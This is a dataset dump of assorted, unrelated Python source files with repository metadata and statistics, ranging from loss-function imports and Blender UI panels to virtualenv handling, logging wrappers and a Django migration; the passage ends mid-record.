c3ec56e1c8af0f7d9f9d9a7aa6021e37dc6a449a
139
py
Python
robust_loss/robust_loss_pytorch/__init__.py
danieltudosiu/nmpevqvae
c4b96f391ddbe143b2a1e1e445890cee0da271e7
[ "MIT" ]
8
2020-03-20T14:52:29.000Z
2022-03-04T03:26:45.000Z
robust_loss/robust_loss_pytorch/__init__.py
ctr26/nmpevqvae
c4b96f391ddbe143b2a1e1e445890cee0da271e7
[ "MIT" ]
5
2021-04-30T21:13:08.000Z
2022-01-13T02:24:31.000Z
robust_loss/robust_loss_pytorch/__init__.py
ctr26/nmpevqvae
c4b96f391ddbe143b2a1e1e445890cee0da271e7
[ "MIT" ]
5
2020-04-03T09:56:13.000Z
2022-02-25T13:24:03.000Z
from .adaptive import ( AdaptiveLossFunction, StudentsTLossFunction, AdaptiveImageLossFunction, ) from .general import lossfun
19.857143
30
0.776978
10
139
10.8
0.8
0
0
0
0
0
0
0
0
0
0
0
0.172662
139
6
31
23.166667
0.93913
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.333333
0
0.333333
0
1
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
c3ec7075da3ac0f6caa68b6294ec49080570e1a4
258
py
Python
learning/challenge/counting.py
Nephrin/Tut
9454be28fd37c155d0b4e97876196f8d33ccf8e5
[ "Apache-2.0" ]
2
2019-06-23T07:17:30.000Z
2019-07-06T15:15:42.000Z
learning/challenge/counting.py
Nephrin/Tut
9454be28fd37c155d0b4e97876196f8d33ccf8e5
[ "Apache-2.0" ]
null
null
null
learning/challenge/counting.py
Nephrin/Tut
9454be28fd37c155d0b4e97876196f8d33ccf8e5
[ "Apache-2.0" ]
1
2019-06-23T07:17:43.000Z
2019-06-23T07:17:43.000Z
def main(inp): print(count(inp)) def count(inp): d = {1:"one",2:"two",3:"three",4:"four",5:"five",6:"six",7:"seven",8:"eight",9:"nine"} if inp%10 == 0: print(inp) else: print(d.get((inp%10))) if __name__ == '__main__': main(200)
17.2
88
0.53876
45
258
2.911111
0.688889
0.122137
0
0
0
0
0
0
0
0
0
0.08134
0.189922
258
15
89
17.2
0.545455
0
0
0
0
0
0.179592
0
0
0
0
0
0
1
0.2
false
0
0
0
0.2
0.3
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
c3edee5be71eaec577fa2bdd9fc8bc030cfafc06
5,736
py
Python
Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/_ruby.py
ekkipermana/robotframework-test
243ca26f69962f8cf20cd7d054e0ff3e709bc7f4
[ "bzip2-1.0.6" ]
11
2017-09-30T05:47:28.000Z
2019-04-15T11:58:40.000Z
Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/_ruby.py
ekkipermana/robotframework-test
243ca26f69962f8cf20cd7d054e0ff3e709bc7f4
[ "bzip2-1.0.6" ]
null
null
null
Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/_ruby.py
ekkipermana/robotframework-test
243ca26f69962f8cf20cd7d054e0ff3e709bc7f4
[ "bzip2-1.0.6" ]
7
2018-02-13T10:22:39.000Z
2019-07-04T07:39:28.000Z
############################################################################### # Name: ruby.py # # Purpose: Define Ruby syntax for highlighting and other features # # Author: Cody Precord <cprecord@editra.org> # ...
38.24
80
0.540795
625
5,736
4.712
0.3728
0.06927
0.089643
0.070628
0.224448
0.187097
0.129372
0.056027
0
0
0
0.009074
0.269874
5,736
149
81
38.496644
0.694126
0.299512
0
0
0
0.0125
0.223649
0.022204
0
0
0
0.006711
0
1
0.0875
false
0
0.05
0
0.2125
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
c3ee32e700e90fe20b3a4bc575d2c268c9537e30
1,190
py
Python
gui.py
gabrielmontagne/Blender_Screenwriter
224524a11bee544bd9187521930c9809eb87efad
[ "MIT" ]
null
null
null
gui.py
gabrielmontagne/Blender_Screenwriter
224524a11bee544bd9187521930c9809eb87efad
[ "MIT" ]
null
null
null
gui.py
gabrielmontagne/Blender_Screenwriter
224524a11bee544bd9187521930c9809eb87efad
[ "MIT" ]
null
null
null
import bpy class SCREENWRITER_PT_panel(bpy.types.Panel): """Preview fountain script as formatted screenplay""" bl_label = "Screenwriter" bl_space_type = 'TEXT_EDITOR' bl_region_type = 'UI' bl_category = "Text" def draw(self, context): layout = self.layout layout.use_property_sp...
31.315789
76
0.691597
146
1,190
5.369863
0.40411
0.063776
0.068878
0.045918
0.170918
0.170918
0.170918
0.170918
0.170918
0.170918
0
0
0.194958
1,190
37
77
32.162162
0.818372
0.065546
0
0.285714
0
0
0.207084
0.078111
0
0
0
0
0
1
0.107143
false
0
0.035714
0
0.571429
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
c3eef6f9729f8c1bef48244b9732c1b942b74194
4,270
py
Python
dephell_venvs/_venv.py
dephell/dephell_venvs
3d8487eae88cb8d644d0e9a5c36d5392214afdec
[ "MIT" ]
3
2019-04-07T21:46:35.000Z
2020-11-20T21:09:24.000Z
dephell_venvs/_venv.py
dephell/dephell_venvs
3d8487eae88cb8d644d0e9a5c36d5392214afdec
[ "MIT" ]
2
2019-07-18T15:20:50.000Z
2020-11-11T10:42:05.000Z
dephell_venvs/_venv.py
dephell/dephell_venvs
3d8487eae88cb8d644d0e9a5c36d5392214afdec
[ "MIT" ]
1
2021-09-28T02:40:29.000Z
2021-09-28T02:40:29.000Z
# built-in import shutil import sys from itertools import chain from pathlib import Path from typing import Optional, Union # external import attr from dephell_pythons import Python, Finder # app from ._constants import PYTHONS, IS_WINDOWS from ._cached_property import cached_property from ._builder import VEnvBuilde...
27.908497
78
0.566745
512
4,270
4.572266
0.232422
0.054677
0.035882
0.046134
0.24434
0.217001
0.176848
0.101239
0.080308
0.041862
0
0.001053
0.332787
4,270
152
79
28.092105
0.820639
0.078923
0
0.27027
0
0
0.038738
0
0
0
0
0.006579
0
1
0.108108
false
0
0.09009
0.009009
0.414414
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
c3f241ae53b6959fac76729c56c69cdc3b63c9cf
51
py
Python
_scripts/objecteditor/model/__init__.py
Son-Guhun/Titan-Land-Lands-of-Plenty
edeca1d5437a7397195799ebf4b9585ee4609fed
[ "MIT" ]
12
2019-05-27T16:02:28.000Z
2021-01-08T09:32:08.000Z
_scripts/objecteditor/model/__init__.py
Son-Guhun/Titan-Land-Lands-of-Plenty
edeca1d5437a7397195799ebf4b9585ee4609fed
[ "MIT" ]
209
2019-04-06T15:16:52.000Z
2021-07-03T02:11:53.000Z
_scripts/objecteditor/model/__init__.py
Son-Guhun/Titan-Land-Lands-of-Plenty
edeca1d5437a7397195799ebf4b9585ee4609fed
[ "MIT" ]
1
2021-05-26T12:13:35.000Z
2021-05-26T12:13:35.000Z
from myconfigparser import Decoration, Production
17
49
0.862745
5
51
8.8
1
0
0
0
0
0
0
0
0
0
0
0
0.117647
51
2
50
25.5
0.977778
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
4
c3f2cf04bce9bef9ea2b365012ef9d47d14ae3f2
447
py
Python
apps/bc_scraper/actions/search.py
aurmeneta/ramos-uc
364ab3c5a55032ab7ffc08665a2da4c5ff04ae58
[ "MIT" ]
7
2021-07-14T18:13:35.000Z
2021-11-21T20:10:54.000Z
apps/bc_scraper/actions/search.py
aurmeneta/ramos-uc
364ab3c5a55032ab7ffc08665a2da4c5ff04ae58
[ "MIT" ]
57
2021-07-10T01:31:56.000Z
2022-01-14T02:02:58.000Z
apps/bc_scraper/actions/search.py
aurmeneta/ramos-uc
364ab3c5a55032ab7ffc08665a2da4c5ff04ae58
[ "MIT" ]
4
2021-07-23T16:51:55.000Z
2021-08-31T02:41:41.000Z
from ..scraper.search import bc_search def search(initials, period): """Search for a initial and period in BuscaCursosUC. Prints the results. Useful for testing only. """ print("Searching in BC:", initials) courses = bc_search(initials, period) for c in courses: print(c["initials"], c[...
31.928571
73
0.642058
59
447
4.830508
0.59322
0.05614
0.140351
0
0
0
0
0
0
0
0
0.005714
0.217002
447
13
74
34.384615
0.808571
0.210291
0
0
0
0
0.245562
0
0
0
0
0
0
1
0.125
false
0
0.125
0
0.25
0.375
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
c3f31e8c5d6c5dd950e94f91051ce5f31a7f7b3e
3,350
py
Python
test/dlc_tests/ec2/test_smdebug.py
Elizaaaaa/deep-learning-containers
6274ecb264645070d11b27e5c7e60d2e4110537d
[ "Apache-2.0" ]
1
2021-07-14T20:13:12.000Z
2021-07-14T20:13:12.000Z
test/dlc_tests/ec2/test_smdebug.py
Elizaaaaa/deep-learning-containers
6274ecb264645070d11b27e5c7e60d2e4110537d
[ "Apache-2.0" ]
null
null
null
test/dlc_tests/ec2/test_smdebug.py
Elizaaaaa/deep-learning-containers
6274ecb264645070d11b27e5c7e60d2e4110537d
[ "Apache-2.0" ]
null
null
null
import os import pytest from test.test_utils import CONTAINER_TESTS_PREFIX, LOGGER, is_tf2, is_tf1 from test.test_utils.ec2 import get_ec2_instance_type SMDEBUG_SCRIPT = os.path.join(CONTAINER_TESTS_PREFIX, "testSmdebug") SMDEBUG_EC2_GPU_INSTANCE_TYPE = get_ec2_instance_type(default="p3.8xlarge", processor="gpu")...
39.411765
119
0.720299
464
3,350
4.967672
0.306034
0.052061
0.032538
0.046855
0.467245
0.356616
0.327983
0.241215
0.241215
0.241215
0
0.020187
0.17194
3,350
84
120
39.880952
0.810743
0.077015
0
0.190476
0
0.015873
0.28701
0.031746
0
0
0
0.011905
0.015873
1
0.063492
false
0
0.063492
0
0.15873
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
c3f344b0d44522013033f6e3330ba00bba1d717e
30,559
py
Python
wgpu/rs.py
Korijn/wgpu-py
72f89be121ea6cd819a145ee3b037004211b3245
[ "BSD-2-Clause" ]
null
null
null
wgpu/rs.py
Korijn/wgpu-py
72f89be121ea6cd819a145ee3b037004211b3245
[ "BSD-2-Clause" ]
null
null
null
wgpu/rs.py
Korijn/wgpu-py
72f89be121ea6cd819a145ee3b037004211b3245
[ "BSD-2-Clause" ]
null
null
null
""" WGPU backend implementation based on the wgpu library. The Rust wgpu project (https://github.com/gfx-rs/wgpu) is a Rust library based on gfx-hal, which wraps Metal, Vulkan, DX12 and more in the future. It can compile into a dynamic library exposing a C-API, accomanied by a C header file. We wrap this using cffi, w...
37.914392
198
0.6476
2,931
30,559
6.539065
0.232003
0.015861
0.019827
0.018262
0.186267
0.102682
0.068559
0.044871
0.034332
0.034332
0
0.003706
0.258222
30,559
805
199
37.961491
0.841803
0.253313
0
0.206963
0
0
0.105701
0.05084
0
0
0.000447
0.004969
0.007737
1
0.085106
false
0.038685
0.015474
0
0.154739
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
c3f3a3c934b982bed6554dc3bf5e9530583b0559
100
py
Python
dojopuzzles/problems/admin.py
rodbv/dojopuzzles
71d76218a8d5ba6340c384c65d0ab1913f72a5cf
[ "MIT" ]
27
2015-03-26T15:29:16.000Z
2020-01-01T16:13:44.000Z
dojopuzzles/problems/admin.py
rodbv/dojopuzzles
71d76218a8d5ba6340c384c65d0ab1913f72a5cf
[ "MIT" ]
23
2020-08-13T12:33:59.000Z
2021-05-05T18:31:29.000Z
dojopuzzles/problems/admin.py
rodbv/dojopuzzles
71d76218a8d5ba6340c384c65d0ab1913f72a5cf
[ "MIT" ]
13
2020-08-13T12:51:59.000Z
2021-11-09T23:52:54.000Z
from django.contrib import admin from problems.models import Problem admin.site.register(Problem)
16.666667
35
0.83
14
100
5.928571
0.714286
0
0
0
0
0
0
0
0
0
0
0
0.11
100
5
36
20
0.932584
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.666667
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
c3f41031d68e0a2d6308085aa0e246d0f490465c
968
py
Python
lct/tasks/taskstore.py
pathbreak/linode-cluster-toolkit
280257436105703c9a122e7ed111a72efa79adfc
[ "MIT" ]
11
2017-07-19T15:25:39.000Z
2021-12-02T20:03:21.000Z
lct/tasks/taskstore.py
pathbreak/linode-cluster-toolkit
280257436105703c9a122e7ed111a72efa79adfc
[ "MIT" ]
null
null
null
lct/tasks/taskstore.py
pathbreak/linode-cluster-toolkit
280257436105703c9a122e7ed111a72efa79adfc
[ "MIT" ]
1
2021-12-02T20:03:22.000Z
2021-12-02T20:03:22.000Z
class TaskStore(object): ''' All task execution plans are stored and tracked in a TaskStore. Both are crucual for supporting pause and resume of operations. The interface to be implemented by all providers that provide task storage capabilities. ''' def initialize(self): ...
28.470588
74
0.636364
101
968
6.069307
0.623762
0.117455
0.166395
0.195759
0.264274
0.264274
0.179445
0
0
0
0
0
0.303719
968
33
75
29.333333
0.909496
0.469008
0
0.428571
0
0
0.234257
0
0
0
0
0
0
1
0.428571
false
0
0
0
0.571429
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
3
c3f55e5b9b4b2ea7da77a3255ee2851f0eb3612a
980
py
Python
py/examples/plot_line_annotation.py
swt2c/wave
7fe897a34f4ac25157920132b2e873da755643a8
[ "Apache-2.0" ]
3,013
2020-12-15T15:53:23.000Z
2022-03-31T00:21:06.000Z
py/examples/plot_line_annotation.py
swt2c/wave
7fe897a34f4ac25157920132b2e873da755643a8
[ "Apache-2.0" ]
591
2020-12-15T15:54:42.000Z
2022-03-31T12:51:19.000Z
py/examples/plot_line_annotation.py
swt2c/wave
7fe897a34f4ac25157920132b2e873da755643a8
[ "Apache-2.0" ]
159
2020-12-15T16:34:43.000Z
2022-03-31T07:27:16.000Z
# Plot / Line / Annotation # Add annotations to a line #plot. #annotation # --- from synth import FakeTimeSeries from h2o_wave import site, data, ui page = site['/demo'] n = 50 f = FakeTimeSeries() v = page.add('example', ui.plot_card( box='1 1 4 5', title='Time-Numeric', data=data('date price', n), p...
33.793103
108
0.604082
163
980
3.595092
0.441718
0.071672
0.093857
0.056314
0.213311
0.064846
0
0
0
0
0
0.163085
0.192857
980
28
109
35
0.57775
0.072449
0
0
0
0
0.307863
0.149502
0
0
0
0
0
1
0
false
0
0.090909
0
0.090909
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
c3f677ecc5dfde9410fda55667fad516d6d7ddf7
827
py
Python
catweazle/applog.py
upendar245/CatWeazle
58e4e37a71c61b998c6a3adae5e16343db50aff5
[ "MIT" ]
1
2020-12-17T04:23:32.000Z
2020-12-17T04:23:32.000Z
catweazle/applog.py
upendar245/CatWeazle
58e4e37a71c61b998c6a3adae5e16343db50aff5
[ "MIT" ]
null
null
null
catweazle/applog.py
upendar245/CatWeazle
58e4e37a71c61b998c6a3adae5e16343db50aff5
[ "MIT" ]
1
2020-04-24T10:17:03.000Z
2020-04-24T10:17:03.000Z
import logging import aiotask_context as context class AppLogging: def __init__(self): self.log = logging.getLogger('application') self.context = context def info(self, msg): self.log.info('{0} {1}'.format(self.context.get('X-Request-ID'), msg)) def warning(self, msg): s...
29.535714
82
0.610641
122
827
4.098361
0.221311
0.098
0.132
0.168
0.45
0.45
0.45
0.45
0.45
0.45
0
0.017804
0.185006
827
27
83
30.62963
0.724036
0
0
0
0
0
0.151149
0
0
0
0
0
0
1
0.388889
false
0
0.111111
0
0.555556
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
3
c3f6fa374d87044012bcad96f7cc39ff50d9b5cb
696
py
Python
setnw.py
drewnoakes/bold-humanoid
6025fcc92cdf3ce9486d4fe5af4f30ee7a7a3335
[ "Apache-2.0" ]
null
null
null
setnw.py
drewnoakes/bold-humanoid
6025fcc92cdf3ce9486d4fe5af4f30ee7a7a3335
[ "Apache-2.0" ]
null
null
null
setnw.py
drewnoakes/bold-humanoid
6025fcc92cdf3ce9486d4fe5af4f30ee7a7a3335
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python import sys import ConfigParser if len(sys.argv) < 2: print 'Give ESSID' exit(1) config = ConfigParser.RawConfigParser() config.read(r'/etc/wicd/wireless-settings.conf') sectionName = 'essid:' + sys.argv[1] print config.sections() print 'Section name: ' + sectionName if not sectionNa...
21.75
67
0.718391
95
696
5.263158
0.526316
0.084
0.032
0.064
0.112
0.112
0
0
0
0
0
0.008489
0.153736
696
31
68
22.451613
0.840407
0.145115
0
0
0
0
0.239865
0.108108
0
0
0
0
0
0
null
null
0
0.111111
null
null
0.222222
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
c3f8493530d35d4422ed29b6391daa2f5bde737f
3,412
py
Python
meissner/naver.py
terrylove19/meissner
14cedb73aa86172aac7af4031aa4670d26acc8ef
[ "MIT" ]
1
2022-01-27T10:16:46.000Z
2022-01-27T10:16:46.000Z
meissner/naver.py
terrylove19/meissner
14cedb73aa86172aac7af4031aa4670d26acc8ef
[ "MIT" ]
null
null
null
meissner/naver.py
terrylove19/meissner
14cedb73aa86172aac7af4031aa4670d26acc8ef
[ "MIT" ]
null
null
null
""" .@@# (@&*%@@@/,%@@@# #&@@@@&. .@@# /&@@@@&* /&@@@@&* (@&*%@@@( *%@@@@&/ .@@&*&@. (@@&((&@@@(/&@@, #@@#/(&@@. .@@# #@@(///(, .@@%////, (@@&(/#@@# #@@&//#@@( .@@@@@%. (@@. /@@* ,@@/ .&@@%%%&@@* .@@# ...
35.915789
111
0.541911
361
3,412
5.033241
0.462604
0.048431
0.014309
0.018712
0.056136
0.03082
0.03082
0
0
0
0
0.002823
0.273154
3,412
94
112
36.297872
0.729839
0.580305
0
0.075
0
0
0.191686
0.016166
0
0
0
0
0
1
0.025
false
0
0.1
0
0.275
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
c3fb8295327161f394ebc1278a58504f74938869
1,460
py
Python
benchmark/code/files.py
scailfin/rob-demo-top-tagger
d8a7d9faefd9822cd1e81e8b734158bb96263321
[ "MIT" ]
null
null
null
benchmark/code/files.py
scailfin/rob-demo-top-tagger
d8a7d9faefd9822cd1e81e8b734158bb96263321
[ "MIT" ]
2
2020-02-22T18:37:38.000Z
2020-08-26T02:12:17.000Z
benchmark/code/files.py
scailfin/rob-demo-top-tagger
d8a7d9faefd9822cd1e81e8b734158bb96263321
[ "MIT" ]
1
2021-05-06T15:21:16.000Z
2021-05-06T15:21:16.000Z
# This file is part of the Reproducible Open Benchmarks for Data Analysis # Platform (ROB) - Top Tagger Benchmark Demo. # # Copyright (C) [2019-2020] NYU. # # ROB is free software; you can redistribute it and/or modify it under the # terms of the MIT License; see LICENSE file for more details. """Definition of names f...
37.435897
79
0.649315
185
1,460
4.940541
0.535135
0.016411
0.078775
0
0
0
0
0
0
0
0
0.010861
0.117123
1,460
38
80
38.421053
0.698216
0.399315
0
0
0
0
0.401606
0.11245
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
c3fc2587fec4910ae12bfcd023ddcfd1f0a5bc93
676
py
Python
utils/validate_password.py
devanshamin/Vault-Plus
67ef8bab0278977bb5d2e9fd4e6328ef120b47c7
[ "MIT" ]
null
null
null
utils/validate_password.py
devanshamin/Vault-Plus
67ef8bab0278977bb5d2e9fd4e6328ef120b47c7
[ "MIT" ]
null
null
null
utils/validate_password.py
devanshamin/Vault-Plus
67ef8bab0278977bb5d2e9fd4e6328ef120b47c7
[ "MIT" ]
null
null
null
import re from typing import Text, Any def pvalidate(pwd: Text) -> Any: """Validate the user's password. Args: pwd: User's password. Returns: None if password is valid else the problem. """ if len(pwd) < 8: prb = "Make sure your password is at least 8 letters" elif ...
30.727273
68
0.600592
106
676
3.830189
0.424528
0.068966
0.108374
0.147783
0.41133
0.35468
0.35468
0.35468
0.35468
0.35468
0
0.008421
0.297337
676
22
69
30.727273
0.846316
0.176036
0
0
0
0
0.390892
0
0
0
0
0
0
1
0.071429
false
0.285714
0.142857
0
0.285714
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
c3fc520d24937531ab79fae2872238dcf67090e9
1,668
py
Python
language/python/string_handle.py
morenice/til
9b73f54045dbd65e08df4538300dd12a4a087540
[ "Apache-2.0" ]
null
null
null
language/python/string_handle.py
morenice/til
9b73f54045dbd65e08df4538300dd12a4a087540
[ "Apache-2.0" ]
13
2020-02-11T23:33:22.000Z
2021-06-10T21:17:23.000Z
language/python/string_handle.py
morenice/til
9b73f54045dbd65e08df4538300dd12a4a087540
[ "Apache-2.0" ]
null
null
null
import json def basic(): len('aaaa') str(1) try: a = 'aaa' + 2 except TypeError as e: print('Type Error: {0}'.format(e)) def dict_to_str(): print('dict to str') d1 = {'a': 1, 'b': 'string'} d1_str = str(d1) print(d1_str) # This isn't secure because using eval fu...
18.130435
61
0.529976
230
1,668
3.747826
0.356522
0.041763
0.041763
0.032483
0.109049
0.074246
0.037123
0
0
0
0
0.05476
0.288369
1,668
91
62
18.32967
0.671441
0.115108
0
0.103448
0
0
0.215553
0
0
0
0
0
0
1
0.12069
false
0
0.017241
0
0.137931
0.310345
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
c3fe000b1019a26268d9d118eed183db105873c1
2,030
py
Python
src/art_name_generator.py
Temur0414/machine-psychology-python-art
ec6dfa4270e463d93976d9cd18cd57f1426d00d9
[ "MIT" ]
40
2021-09-10T15:36:41.000Z
2022-03-12T21:02:28.000Z
src/art_name_generator.py
Temur0414/machine-psychology-python-art
ec6dfa4270e463d93976d9cd18cd57f1426d00d9
[ "MIT" ]
1
2022-01-27T14:57:23.000Z
2022-01-27T14:57:23.000Z
src/art_name_generator.py
Temur0414/machine-psychology-python-art
ec6dfa4270e463d93976d9cd18cd57f1426d00d9
[ "MIT" ]
16
2021-10-03T19:23:57.000Z
2022-03-06T21:27:35.000Z
import openai import os def _new_example(c1: str, c2: str, name: str): return f"[{c1}, {c2}]: {name} #" def generate_name_with_retry( start_color: str, end_color: str, name_set: set = None, max_retry: int = 3 ): for _ in range(max_retry): name = generate_name(start_color, end_color, name_set=nam...
29.42029
78
0.593103
265
2,030
4.350943
0.45283
0.069384
0.041631
0.027754
0.093669
0.065915
0.065915
0.065915
0.065915
0.065915
0
0.010246
0.278818
2,030
68
79
29.852941
0.777322
0.011823
0
0.037037
1
0
0.228044
0
0
0
0
0
0
1
0.055556
false
0
0.037037
0.018519
0.203704
0.018519
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
7f002d9960c56d001abb3731ddccba2089c50ab1
160
py
Python
testapp/apps/testmodels/apps.py
jsilva234/django-cropperjs
875d1beee38406526399d9f838e7e2aefc81ad2f
[ "MIT" ]
2
2019-08-01T11:48:17.000Z
2019-10-04T21:30:22.000Z
testapp/apps/testmodels/apps.py
jsilva234/django-cropperjs
875d1beee38406526399d9f838e7e2aefc81ad2f
[ "MIT" ]
null
null
null
testapp/apps/testmodels/apps.py
jsilva234/django-cropperjs
875d1beee38406526399d9f838e7e2aefc81ad2f
[ "MIT" ]
1
2020-07-29T14:35:24.000Z
2020-07-29T14:35:24.000Z
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.apps import AppConfig class TestmodelsConfig(AppConfig): name = 'testmodels'
17.777778
39
0.74375
18
160
6.333333
0.833333
0
0
0
0
0
0
0
0
0
0
0.007407
0.15625
160
8
40
20
0.837037
0.13125
0
0
0
0
0.072993
0
0
0
0
0
0
1
0
false
0
0.5
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
4
7f006596b23afd581cdbe53ae8dc6b039339fb67
2,455
py
Python
qiskit/aqua/circuits/fourier_transform_circuits.py
hushaohan/aqua
8512bc6ce246a8b3cca1e5edb1703b6885aa7c5d
[ "Apache-2.0" ]
1
2020-07-14T15:32:42.000Z
2020-07-14T15:32:42.000Z
qiskit/aqua/circuits/fourier_transform_circuits.py
hushaohan/aqua
8512bc6ce246a8b3cca1e5edb1703b6885aa7c5d
[ "Apache-2.0" ]
null
null
null
qiskit/aqua/circuits/fourier_transform_circuits.py
hushaohan/aqua
8512bc6ce246a8b3cca1e5edb1703b6885aa7c5d
[ "Apache-2.0" ]
1
2022-01-25T07:09:10.000Z
2022-01-25T07:09:10.000Z
# -*- coding: utf-8 -*- # This code is part of Qiskit. # # (C) Copyright IBM 2019, 2020. # # This code is licensed under the Apache License, Version 2.0. You may # obtain a copy of this license in the LICENSE.txt file in the root directory # of this source tree or at http://www.apache.org/licenses/LICENSE-2.0. # # Any...
35.57971
97
0.654175
295
2,455
5.410169
0.477966
0.047619
0.043233
0.041353
0.090226
0.0401
0
0
0
0
0
0.010747
0.279837
2,455
68
98
36.102941
0.891968
0.514053
0
0
0
0
0.217474
0.047483
0
0
0
0
0
1
0.04
false
0
0.12
0
0.24
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
7f00f2f63bc7e222a107cf0dc06e3426985a2b64
486
py
Python
apps/board/migrations/0002_auto_20190112_1938.py
anonim-legivon/picoboard
801064126ccc88c13703b36e0d7c33ddb831c443
[ "MIT" ]
16
2017-11-30T09:52:57.000Z
2022-01-11T17:49:39.000Z
apps/board/migrations/0002_auto_20190112_1938.py
anonim-legivon/picoboard
801064126ccc88c13703b36e0d7c33ddb831c443
[ "MIT" ]
68
2019-01-05T08:09:18.000Z
2021-06-25T15:17:39.000Z
apps/board/migrations/0002_auto_20190112_1938.py
anonim-legivon/picoboard
801064126ccc88c13703b36e0d7c33ddb831c443
[ "MIT" ]
2
2021-10-30T23:27:39.000Z
2022-03-01T12:55:03.000Z
# Generated by Django 2.1.5 on 2019-01-12 09:38 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('board', '0001_squashed_0007_auto_20190112_1836'), ] operations = [ migrations.AlterField( model_name='file', name='fu...
25.578947
73
0.592593
51
486
5.470588
0.843137
0
0
0
0
0
0
0
0
0
0
0.112426
0.304527
486
18
74
27
0.713018
0.092593
0
0
1
0
0.170843
0.084282
0
0
0
0
0
1
0
false
0
0.076923
0
0.307692
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
7f016cf0b2bfb7aa9dc572a51f61f1df8f05fc95
1,381
py
Python
input_device_handler.py
wdomitrz/input_device_handler
4c99f91a0ac805e559a4de497412717e15bfbe25
[ "MIT" ]
null
null
null
input_device_handler.py
wdomitrz/input_device_handler
4c99f91a0ac805e559a4de497412717e15bfbe25
[ "MIT" ]
null
null
null
input_device_handler.py
wdomitrz/input_device_handler
4c99f91a0ac805e559a4de497412717e15bfbe25
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 import json from os import path from evdev import InputDevice, InputEvent, categorize, ecodes from subprocess import Popen CONFIG_FILE = path.expanduser('~/.config/input_device_handler/config.json') class DeviceHandler: def __init__(self, device_options: dict, bindings: dict): sel...
27.62
75
0.62853
169
1,381
4.95858
0.378698
0.047733
0.026253
0
0
0
0
0
0
0
0
0.000984
0.264301
1,381
49
76
28.183673
0.823819
0.015206
0
0.057143
0
0
0.069904
0.030905
0
0
0
0
0
1
0.114286
false
0
0.114286
0
0.314286
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
7f02000898a95c1dd1e69a69da9e90223206f7da
3,064
py
Python
modules/plugin_dialog.py
jredrejo/sqlabs
2cf39ff924579e72bc0092f2a6d65214dafd4bfe
